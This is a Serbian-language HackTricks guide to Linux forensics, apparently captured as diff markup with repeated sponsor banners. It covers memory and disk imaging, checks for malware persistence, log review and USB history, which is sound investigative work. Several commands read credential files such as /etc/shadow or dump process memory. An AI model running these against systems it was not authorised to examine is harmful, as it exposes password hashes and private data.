|
||||||
|
* [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
|
||||||
|
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
|
@ -0,0 +1,437 @@
|
||||||
|
# Forenzika na Linuxu
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
<details>
|
||||||
|
|
||||||
|
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
|
Drugi načini podrške HackTricks-u:
|
||||||
|
|
||||||
|
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||||
|
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||||
|
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||||
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
|
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||||
|
|
||||||
|
</details>
|
||||||
|
|
||||||
|
## Inicijalno prikupljanje informacija
|
||||||
|
|
||||||
|
### Osnovne informacije
|
||||||
|
|
||||||
|
Pre svega, preporučuje se da imate neki **USB** sa **poznatim binarnim fajlovima i bibliotekama** (možete jednostavno uzeti Ubuntu i kopirati foldere _/bin_, _/sbin_, _/lib,_ i _/lib64_), zatim montirajte USB, i izmenite okružne promenljive da biste koristili te binarne fajlove:
|
||||||
|
```bash
|
||||||
|
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||||
|
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||||
|
```
|
||||||
|
Kada ste konfigurisali sistem da koristi dobre i poznate binarne datoteke, možete početi **izvlačiti osnovne informacije**:
|
||||||
|
```bash
|
||||||
|
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||||
|
uname -a #OS info
|
||||||
|
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
|
||||||
|
ps -ef #Running processes
|
||||||
|
netstat -anp #Proccess and ports
|
||||||
|
lsof -V #Open files
|
||||||
|
netstat -rn; route #Routing table
|
||||||
|
df; mount #Free space and mounted devices
|
||||||
|
free #Meam and swap space
|
||||||
|
w #Who is connected
|
||||||
|
last -Faiwx #Logins
|
||||||
|
lsmod #What is loaded
|
||||||
|
cat /etc/passwd #Unexpected data?
|
||||||
|
cat /etc/shadow #Unexpected data?
|
||||||
|
find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory
|
||||||
|
```
|
||||||
|
#### Sumnjive informacije
|
||||||
|
|
||||||
|
Prilikom dobijanja osnovnih informacija trebalo bi proveriti čudne stvari kao što su:
|
||||||
|
|
||||||
|
- **Root procesi** obično se izvršavaju sa niskim PID-ovima, pa ako pronađete root proces sa velikim PID-om, možete posumnjati
|
||||||
|
- Proverite **registrovane prijave** korisnika bez ljuske unutar `/etc/passwd`
|
||||||
|
- Proverite **hash-ove lozinki** unutar `/etc/shadow` za korisnike bez ljuske
|
||||||
|
|
||||||
|
### Damp memorije
|
||||||
|
|
||||||
|
Za dobijanje memorije pokrenutog sistema, preporučuje se korišćenje [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||||
|
Da biste ga **kompajlirali**, morate koristiti **isti kernel** koji koristi mašina žrtva.
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Zapamtite da **ne možete instalirati LiME ili bilo šta drugo** na mašini žrtve jer će to izvršiti nekoliko promena na njoj
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
Dakle, ako imate identičnu verziju Ubuntua, možete koristiti `apt-get install lime-forensics-dkms`\
|
||||||
|
U drugim slučajevima, morate preuzeti [**LiME**](https://github.com/504ensicsLabs/LiME) sa github-a i kompajlirati ga sa odgovarajućim kernel headerima. Da biste **dobili tačne kernel headere** mašine žrtve, jednostavno **kopirajte direktorijum** `/lib/modules/<kernel verzija>` na svoju mašinu, a zatim **kompajlirajte** LiME koristeći ih:
|
||||||
|
```bash
|
||||||
|
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||||
|
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||||
|
```
|
||||||
|
LiME podržava 3 **formata**:
|
||||||
|
|
||||||
|
* Sirovi (svaki segment je konkateniran zajedno)
|
||||||
|
* Padded (isti kao sirovi, ali sa nulama na desnoj strani)
|
||||||
|
* Lime (preporučeni format sa metapodacima)
|
||||||
|
|
||||||
|
LiME takođe može biti korišćen za **slanje ispisa putem mreže** umesto čuvanja na sistemu korišćenjem nečega poput: `path=tcp:4444`
|
||||||
|
|
||||||
|
### Snimanje diska
|
||||||
|
|
||||||
|
#### Gašenje
|
||||||
|
|
||||||
|
Prvo, moraćete **ugasiti sistem**. Ovo nije uvek opcija jer će nekada sistem biti serverski sistem koji kompanija ne može da si priušti da isključi.\
|
||||||
|
Postoje **2 načina** gašenja sistema, **normalno gašenje** i **gašenje "izvadi utikač"**. Prvi će dozvoliti **procesima da se završe kao i obično** i **datotečnom sistemu** da se **sinhronizuje**, ali će takođe dozvoliti mogućem **malveru** da **uništi dokaze**. Pristup "izvadi utikač" može doneti **gubitak nekih informacija** (neće biti izgubljeno mnogo informacija jer smo već napravili sliku memorije) i **malver neće imati priliku** da bilo šta uradi povodom toga. Stoga, ako **sumnjate** da postoji **malver**, jednostavno izvršite **`sync`** **komandu** na sistemu i izvucite utikač.
|
||||||
|
|
||||||
|
#### Pravljenje slike diska
|
||||||
|
|
||||||
|
Važno je napomenuti da **pre nego što povežete svoj računar sa bilo čim što je povezano sa slučajem**, morate biti sigurni da će biti **montiran samo za čitanje** kako biste izbegli menjanje bilo kakvih informacija.
|
||||||
|
```bash
|
||||||
|
#Create a raw copy of the disk
|
||||||
|
dd if=<subject device> of=<image file> bs=512
|
||||||
|
|
||||||
|
#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data)
|
||||||
|
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||||
|
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||||
|
```
|
||||||
|
### Predanaliza slike diska
|
||||||
|
|
||||||
|
Kreiranje slike diska bez dodatnih podataka.
|
||||||
|
```bash
|
||||||
|
#Find out if it's a disk image using "file" command
|
||||||
|
file disk.img
|
||||||
|
disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files)
|
||||||
|
|
||||||
|
#Check which type of disk image it's
|
||||||
|
img_stat -t evidence.img
|
||||||
|
raw
|
||||||
|
#You can list supported types with
|
||||||
|
img_stat -i list
|
||||||
|
Supported image format types:
|
||||||
|
raw (Single or split raw file (dd))
|
||||||
|
aff (Advanced Forensic Format)
|
||||||
|
afd (AFF Multiple File)
|
||||||
|
afm (AFF with external metadata)
|
||||||
|
afflib (All AFFLIB image formats (including beta ones))
|
||||||
|
ewf (Expert Witness Format (EnCase))
|
||||||
|
|
||||||
|
#Data of the image
|
||||||
|
fsstat -i raw -f ext4 disk.img
|
||||||
|
FILE SYSTEM INFORMATION
|
||||||
|
--------------------------------------------
|
||||||
|
File System Type: Ext4
|
||||||
|
Volume Name:
|
||||||
|
Volume ID: 162850f203fd75afab4f1e4736a7e776
|
||||||
|
|
||||||
|
Last Written at: 2020-02-06 06:22:48 (UTC)
|
||||||
|
Last Checked at: 2020-02-06 06:15:09 (UTC)
|
||||||
|
|
||||||
|
Last Mounted at: 2020-02-06 06:15:18 (UTC)
|
||||||
|
Unmounted properly
|
||||||
|
Last mounted on: /mnt/disk0
|
||||||
|
|
||||||
|
Source OS: Linux
|
||||||
|
[...]
|
||||||
|
|
||||||
|
#ls inside the image
|
||||||
|
fls -i raw -f ext4 disk.img
|
||||||
|
d/d 11: lost+found
|
||||||
|
d/d 12: Documents
|
||||||
|
d/d 8193: folder1
|
||||||
|
d/d 8194: folder2
|
||||||
|
V/V 65537: $OrphanFiles
|
||||||
|
|
||||||
|
#ls inside folder
|
||||||
|
fls -i raw -f ext4 disk.img 12
|
||||||
|
r/r 16: secret.txt
|
||||||
|
|
||||||
|
#cat file inside image
|
||||||
|
icat -i raw -f ext4 disk.img 16
|
||||||
|
ThisisTheMasterSecret
|
||||||
|
```
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Pretraga poznatih Malvera
|
||||||
|
|
||||||
|
### Modifikovane sistemskih datoteka
|
||||||
|
|
||||||
|
Linux nudi alate za osiguravanje integriteta sistemskih komponenti, ključnih za otkrivanje potencijalno problematičnih datoteka.
|
||||||
|
|
||||||
|
* **Sistemi zasnovani na RedHat-u**: Koristite `rpm -Va` za sveobuhvatnu proveru.
|
||||||
|
* **Sistemi zasnovani na Debian-u**: `dpkg --verify` za početnu verifikaciju, zatim `debsums | grep -v "OK$"` (nakon instaliranja `debsums` sa `apt-get install debsums`) da identifikujete bilo kakve probleme.
|
||||||
|
|
||||||
|
### Detektori Malvera/Rootkita
|
||||||
|
|
||||||
|
Pročitajte sledeću stranicu da biste saznali o alatima koji mogu biti korisni za pronalaženje malvera:
|
||||||
|
|
||||||
|
{% content-ref url="malware-analysis.md" %}
|
||||||
|
[malware-analysis.md](malware-analysis.md)
|
||||||
|
{% endcontent-ref %}
|
||||||
|
|
||||||
|
## Pretraga instaliranih programa
|
||||||
|
|
||||||
|
Da biste efikasno pretraživali instalirane programe na Debian i RedHat sistemima, razmotrite korišćenje sistema logova i baza podataka zajedno sa ručnim proverama u uobičajenim direktorijumima.
|
||||||
|
|
||||||
|
* Za Debian, pregledajte _**`/var/lib/dpkg/status`**_ i _**`/var/log/dpkg.log`**_ da biste dobili detalje o instalacijama paketa, koristeći `grep` za filtriranje specifičnih informacija.
|
||||||
|
* Korisnici RedHat-a mogu upitati RPM bazu podataka sa `rpm -qa --root=/mntpath/var/lib/rpm` da bi dobili listu instaliranih paketa.
|
||||||
|
|
||||||
|
Da biste otkrili softver instaliran ručno ili van ovih upravljača paketima, istražite direktorijume poput _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, i _**`/sbin`**_. Kombinujte listu direktorijuma sa sistemskim komandama kako biste identifikovali izvršne datoteke koje nisu povezane sa poznatim paketima, unapređujući tako pretragu svih instaliranih programa.
|
||||||
|
```bash
|
||||||
|
# Debian package and log details
|
||||||
|
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||||
|
cat /var/log/dpkg.log | grep installed
|
||||||
|
# RedHat RPM database query
|
||||||
|
rpm -qa --root=/mntpath/var/lib/rpm
|
||||||
|
# Listing directories for manual installations
|
||||||
|
ls /usr/sbin /usr/bin /bin /sbin
|
||||||
|
# Identifying non-package executables (Debian)
|
||||||
|
find /sbin/ -exec dpkg -S {} \; | grep "no path found"
|
||||||
|
# Identifying non-package executables (RedHat)
|
||||||
|
find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||||
|
# Find exacuable files
|
||||||
|
find / -type f -executable | grep <something>
|
||||||
|
```
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da biste lako izgradili i **automatizovali radne tokove** pokretane najnaprednijim alatima zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Obnovite obrisane pokrenute binarne datoteke
|
||||||
|
|
||||||
|
Zamislite proces koji je izvršen iz /tmp/exec a zatim obrisan. Moguće je izvući ga
|
||||||
|
```bash
|
||||||
|
cd /proc/3746/ #PID with the exec file deleted
|
||||||
|
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||||
|
dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it
|
||||||
|
```
|
||||||
|
## Pregled lokacija automatskog pokretanja
|
||||||
|
|
||||||
|
### Planirani zadaci
|
||||||
|
```bash
|
||||||
|
cat /var/spool/cron/crontabs/* \
|
||||||
|
/var/spool/cron/atjobs \
|
||||||
|
/var/spool/anacron \
|
||||||
|
/etc/cron* \
|
||||||
|
/etc/at* \
|
||||||
|
/etc/anacrontab \
|
||||||
|
/etc/incron.d/* \
|
||||||
|
/var/spool/incron/* \
|
||||||
|
|
||||||
|
#MacOS
|
||||||
|
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||||
|
```
|
||||||
|
### Servisi
|
||||||
|
|
||||||
|
Putanje gde se zlonamerni softver može instalirati kao servis:
|
||||||
|
|
||||||
|
* **/etc/inittab**: Poziva inicijalne skripte poput rc.sysinit, usmeravajući dalje ka skriptama za pokretanje.
|
||||||
|
* **/etc/rc.d/** i **/etc/rc.boot/**: Sadrže skripte za pokretanje servisa, pri čemu se potonje nalazi u starijim verzijama Linuxa.
|
||||||
|
* **/etc/init.d/**: Koristi se u određenim verzijama Linuxa poput Debiana za čuvanje skripti za pokretanje.
|
||||||
|
* Servisi se takođe mogu aktivirati putem **/etc/inetd.conf** ili **/etc/xinetd/**, u zavisnosti od varijante Linuxa.
|
||||||
|
* **/etc/systemd/system**: Direktorijum za sistemske i upravljačke skripte servisa.
|
||||||
|
* **/etc/systemd/system/multi-user.target.wants/**: Sadrži linkove ka servisima koji treba da se pokrenu u multi-korisničkom nivou.
|
||||||
|
* **/usr/local/etc/rc.d/**: Za prilagođene ili servise trećih strana.
|
||||||
|
* **\~/.config/autostart/**: Za aplikacije koje se automatski pokreću specifične za korisnika, što može biti skrovište za zlonamerni softver usmeren ka korisniku.
|
||||||
|
* **/lib/systemd/system/**: Podrazumevane sistemski fajlovi jedinica koje pružaju instalirani paketi.
|
||||||
|
|
||||||
|
### Kernel Moduli
|
||||||
|
|
||||||
|
Linux kernel moduli, često korišćeni od strane zlonamernog softvera kao komponente rootkita, učitavaju se prilikom pokretanja sistema. Direktorijumi i fajlovi od suštinskog značaja za ove module uključuju:
|
||||||
|
|
||||||
|
* **/lib/modules/$(uname -r)**: Čuva module za pokrenutu verziju kernela.
|
||||||
|
* **/etc/modprobe.d**: Sadrži konfiguracione fajlove za kontrolu učitavanja modula.
|
||||||
|
* **/etc/modprobe** i **/etc/modprobe.conf**: Fajlovi za globalna podešavanja modula.
|
||||||
|
|
||||||
|
### Ostale Lokacije za Automatsko Pokretanje
|
||||||
|
|
||||||
|
Linux koristi različite fajlove za automatsko izvršavanje programa prilikom prijave korisnika, potencijalno skrivajući zlonamerni softver:
|
||||||
|
|
||||||
|
* **/etc/profile.d/**\*, **/etc/profile**, i **/etc/bash.bashrc**: Izvršavaju se prilikom prijave bilo kog korisnika.
|
||||||
|
* **\~/.bashrc**, **\~/.bash\_profile**, **\~/.profile**, i **\~/.config/autostart**: Fajlovi specifični za korisnika koji se pokreću prilikom njihove prijave.
|
||||||
|
* **/etc/rc.local**: Pokreće se nakon što su svi sistemske servisi pokrenuti, označavajući kraj tranzicije ka multi-korisničkom okruženju.
|
||||||
|
|
||||||
|
## Pregledajte Logove
|
||||||
|
|
||||||
|
Linux sistemi prate aktivnosti korisnika i događaje sistema putem različitih log fajlova. Ovi logovi su ključni za identifikaciju neovlašćenog pristupa, infekcija zlonamernim softverom i drugih sigurnosnih incidenata. Ključni log fajlovi uključuju:
|
||||||
|
|
||||||
|
* **/var/log/syslog** (Debian) ili **/var/log/messages** (RedHat): Snimaju sistemske poruke i aktivnosti na nivou sistema.
|
||||||
|
* **/var/log/auth.log** (Debian) ili **/var/log/secure** (RedHat): Beleže pokušaje autentifikacije, uspešne i neuspešne prijave.
|
||||||
|
* Koristite `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` za filtriranje relevantnih autentifikacionih događaja.
|
||||||
|
* **/var/log/boot.log**: Sadrži poruke o pokretanju sistema.
|
||||||
|
* **/var/log/maillog** ili **/var/log/mail.log**: Beleže aktivnosti email servera, korisne za praćenje servisa povezanih sa email-om.
|
||||||
|
* **/var/log/kern.log**: Čuva kernel poruke, uključujući greške i upozorenja.
|
||||||
|
* **/var/log/dmesg**: Drži poruke drajvera uređaja.
|
||||||
|
* **/var/log/faillog**: Beleži neuspele pokušaje prijave, pomažući u istraživanju sigurnosnih incidenata.
|
||||||
|
* **/var/log/cron**: Beleži izvršavanja cron poslova.
|
||||||
|
* **/var/log/daemon.log**: Prati aktivnosti pozadinskih servisa.
|
||||||
|
* **/var/log/btmp**: Dokumentuje neuspele pokušaje prijave.
|
||||||
|
* **/var/log/httpd/**: Sadrži Apache HTTPD greške i pristupne logove.
|
||||||
|
* **/var/log/mysqld.log** ili **/var/log/mysql.log**: Beleže aktivnosti MySQL baze podataka.
|
||||||
|
* **/var/log/xferlog**: Zabeležava FTP prenose fajlova.
|
||||||
|
* **/var/log/**: Uvek proverite ovde za neočekivane logove.
|
||||||
|
|
||||||
|
{% hint style="info" %}
|
||||||
|
Linux sistemi logove i podsisteme za reviziju mogu biti isključeni ili obrisani u slučaju upada ili zlonamernog softvera. Pošto logovi na Linux sistemima generalno sadrže neke od najkorisnijih informacija o zlonamernim aktivnostima, napadači ih rutinski brišu. Stoga, prilikom pregleda dostupnih log fajlova, važno je tražiti praznine ili nepravilne unose koji bi mogli biti indikacija brisanja ili manipulacije.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
**Linux čuva istoriju komandi za svakog korisnika**, smeštenu u:
|
||||||
|
|
||||||
|
* \~/.bash\_history
|
||||||
|
* \~/.zsh\_history
|
||||||
|
* \~/.zsh\_sessions/\*
|
||||||
|
* \~/.python\_history
|
||||||
|
* \~/.\*\_history
|
||||||
|
|
||||||
|
Takođe, komanda `last -Faiwx` pruža listu korisničkih prijava. Proverite je za nepoznate ili neočekivane prijave.
|
||||||
|
|
||||||
|
Proverite fajlove koji mogu dati dodatne privilegije:
|
||||||
|
|
||||||
|
* Pregledajte `/etc/sudoers` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||||
|
* Pregledajte `/etc/sudoers.d/` za neočekivane korisničke privilegije koje su možda dodeljene.
|
||||||
|
* Ispitajte `/etc/groups` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
|
||||||
|
* Ispitajte `/etc/passwd` kako biste identifikovali bilo kakvo neobično članstvo u grupama ili dozvole.
|
||||||
|
|
||||||
|
Neki programi takođe generišu svoje logove:
|
||||||
|
|
||||||
|
* **SSH**: Ispitajte _\~/.ssh/authorized\_keys_ i _\~/.ssh/known\_hosts_ za neovlašćene udaljene konekcije.
|
||||||
|
* **Gnome Desktop**: Pogledajte _\~/.recently-used.xbel_ za nedavno pristupane fajlove putem Gnome aplikacija.
|
||||||
|
* **Firefox/Chrome**: Proverite istoriju pretrage i preuzimanja u _\~/.mozilla/firefox_ ili _\~/.config/google-chrome_ za sumnjive aktivnosti.
|
||||||
|
* **VIM**: Pregledajte _\~/.viminfo_ za detalje o korišćenju, poput putanja do pristupljenih fajlova i istorije pretrage.
|
||||||
|
* **Open Office**: Proverite nedavni pristup dokumentima koji mogu ukazivati na kompromitovane fajlove.
|
||||||
|
* **FTP/SFTP**: Pregledajte logove u _\~/.ftp\_history_ ili _\~/.sftp\_history_ za prenose fajlova koji bi mogli biti neovlašćeni.
|
||||||
|
* **MySQL**: Istražite _\~/.mysql\_history_ za izvršene MySQL upite, što može otkriti neovlaštene aktivnosti u bazi podataka.
|
||||||
|
* **Less**: Analizirajte _\~/.lesshst_ za istoriju korišćenja, uključujući pregledane fajlove i izvršene komande.
|
||||||
|
* **Git**: Ispitajte _\~/.gitconfig_ i projekat _.git/logs_ za promene u repozitorijumima.
|
||||||
|
|
||||||
|
### USB Logovi
|
||||||
|
|
||||||
|
[**usbrip**](https://github.com/snovvcrash/usbrip) je mali softver napisan u čistom Pythonu 3 koji parsira Linux log fajlove (`/var/log/syslog*` ili `/var/log/messages*` u zavisnosti od distribucije) radi konstrukcije tabela istorije USB događaja.
|
||||||
|
|
||||||
|
Važno je **znati sve USB uređaje koji su korišćeni** i biće korisno ako imate autorizovanu listu USB uređaja kako biste pronašli "događaje kršenja" (korišćenje USB uređaja koji nisu na toj listi).
|
||||||
|
|
||||||
|
### Instalacija
|
||||||
|
```bash
|
||||||
|
pip3 install usbrip
|
||||||
|
usbrip ids download #Download USB ID database
|
||||||
|
```
|
||||||
|
### Primeri
|
||||||
|
```bash
|
||||||
|
usbrip events history #Get USB history of your curent linux machine
|
||||||
|
usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user
|
||||||
|
#Search for vid and/or pid
|
||||||
|
usbrip ids download #Downlaod database
|
||||||
|
usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid
|
||||||
|
```
|
||||||
|
Više primera i informacija možete pronaći na github-u: [https://github.com/snovvcrash/usbrip](https://github.com/snovvcrash/usbrip)
|
||||||
|
|
||||||
|
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
\
|
||||||
|
Koristite [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) da lako kreirate i **automatizujete radne tokove** podržane najnaprednijim alatima zajednice.\
|
||||||
|
Pristupite danas:
|
||||||
|
|
||||||
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
|
## Pregled Korisničkih Računa i Aktivnosti Prijavljivanja
|
||||||
|
|
||||||
|
Ispitajte _**/etc/passwd**_, _**/etc/shadow**_ i **bezbednosne dnevnike** za neobična imena ili naloge kreirane i/ili korišćene u blizini poznatih neovlašćenih događaja. Takođe, proverite moguće brute-force napade na sudo.\
|
||||||
|
Takođe, proverite datoteke poput _**/etc/sudoers**_ i _**/etc/groups**_ za neočekivane privilegije date korisnicima.\
|
||||||
|
Na kraju, potražite naloge bez **šifri** ili sa **lako pogodnim** šiframa.
|
||||||
|
|
||||||
|
## Ispitivanje Fajl Sistema
|
||||||
|
|
||||||
|
### Analiza Struktura Fajl Sistema u Istraživanju Malvera
|
||||||
|
|
||||||
|
Prilikom istraživanja incidenata sa malverom, struktura fajl sistema je ključni izvor informacija, otkrivajući kako se događaji odvijaju i sadržaj malvera. Međutim, autori malvera razvijaju tehnike koje otežavaju ovu analizu, poput menjanja vremena datoteka ili izbegavanja fajl sistema za skladištenje podataka.
|
||||||
|
|
||||||
|
Da biste se suprotstavili ovim anti-forenzičkim metodama, bitno je:
|
||||||
|
|
||||||
|
* **Sprovesti temeljnu analizu vremenske linije** koristeći alate poput **Autopsy** za vizualizaciju vremenskih linija događaja ili **Sleuth Kit's** `mactime` za detaljne podatke o vremenskoj liniji.
|
||||||
|
* **Istražiti neočekivane skripte** u $PATH sistemu, koje mogu uključivati skripte ljuske ili PHP skripte korišćene od strane napadača.
|
||||||
|
* **Ispitati `/dev` za atipične fajlove**, pošto tradicionalno sadrži specijalne fajlove, ali može sadržati fajlove povezane sa malverom.
|
||||||
|
* **Tražiti skrivene fajlove ili direktorijume** sa imenima poput ".. " (tačka tačka razmak) ili "..^G" (tačka tačka kontrola-G), koji bi mogli sakriti zlonamerni sadržaj.
|
||||||
|
* **Identifikovati setuid root fajlove** korišćenjem komande: `find / -user root -perm -04000 -print` Ovo pronalazi fajlove sa povišenim dozvolama, koje napadači mogu zloupotrebiti.
|
||||||
|
* **Pregledati vremena brisanja** u inode tabelama kako biste primetili masovna brisanja fajlova, što može ukazivati na prisustvo rootkita ili trojanaca.
|
||||||
|
* **Ispitati uzastopne inode** za bliske zlonamerne fajlove nakon identifikacije jednog, jer su možda postavljeni zajedno.
|
||||||
|
* **Proveriti zajedničke binarne direktorijume** (_/bin_, _/sbin_) za nedavno modifikovane fajlove, jer bi ovi fajlovi mogli biti promenjeni od strane malvera.
|
||||||
|
````bash
|
||||||
|
# List recent files in a directory:
|
||||||
|
ls -laR --sort=time /bin```
|
||||||
|
|
||||||
|
# Sort files in a directory by inode:
|
||||||
|
ls -lai /bin | sort -n```
|
||||||
|
````
|
||||||
|
{% hint style="info" %}
|
||||||
|
Imajte na umu da **napadač** može **izmeniti** **vreme** da bi **datoteke izgledale** **legitimno**, ali ne može da izmeni **inode**. Ako otkrijete da **datoteka** pokazuje da je kreirana i izmenjena u **istom vremenu** kao i ostale datoteke u istom folderu, ali je **inode** **neočekivano veći**, onda su **vremenske oznake te datoteke izmenjene**.
|
||||||
|
{% endhint %}
|
||||||
|
|
||||||
|
## Uporedite datoteke različitih verzija fajl sistema
|
||||||
|
|
||||||
|
### Sažetak Uporedbe Verzija Fajl Sistema
|
||||||
|
|
||||||
|
Za upoređivanje verzija fajl sistema i precizno lociranje promena, koristimo pojednostavljene `git diff` komande:
|
||||||
|
|
||||||
|
* **Da biste pronašli nove datoteke**, uporedite dva direktorijuma:
|
||||||
|
```bash
|
||||||
|
git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/
|
||||||
|
```
|
||||||
|
* **Za izmenjen sadržaj**, navedite promene ignorišući specifične linije:
|
||||||
|
```bash
|
||||||
|
git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time"
|
||||||
|
```
|
||||||
|
* **Za otkrivanje izbrisanih fajlova**:
|
||||||
|
```bash
|
||||||
|
git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/
|
||||||
|
```
|
||||||
|
* **Opcije filtera** (`--diff-filter`) pomažu u sužavanju na specifične promene poput dodatih (`A`), izbrisanih (`D`) ili izmenjenih (`M`) fajlova.
|
||||||
|
* `A`: Dodati fajlovi
|
||||||
|
* `C`: Kopirani fajlovi
|
||||||
|
* `D`: Izbrisani fajlovi
|
||||||
|
* `M`: Izmenjeni fajlovi
|
||||||
|
* `R`: Preimenovani fajlovi
|
||||||
|
* `T`: Promene tipa (npr. fajl u simboličku vezu)
|
||||||
|
* `U`: Nespajani fajlovi
|
||||||
|
* `X`: Nepoznati fajlovi
|
||||||
|
* `B`: Oštećeni fajlovi
|
||||||
|
|
||||||
|
## Reference
|
||||||
|
|
||||||
|
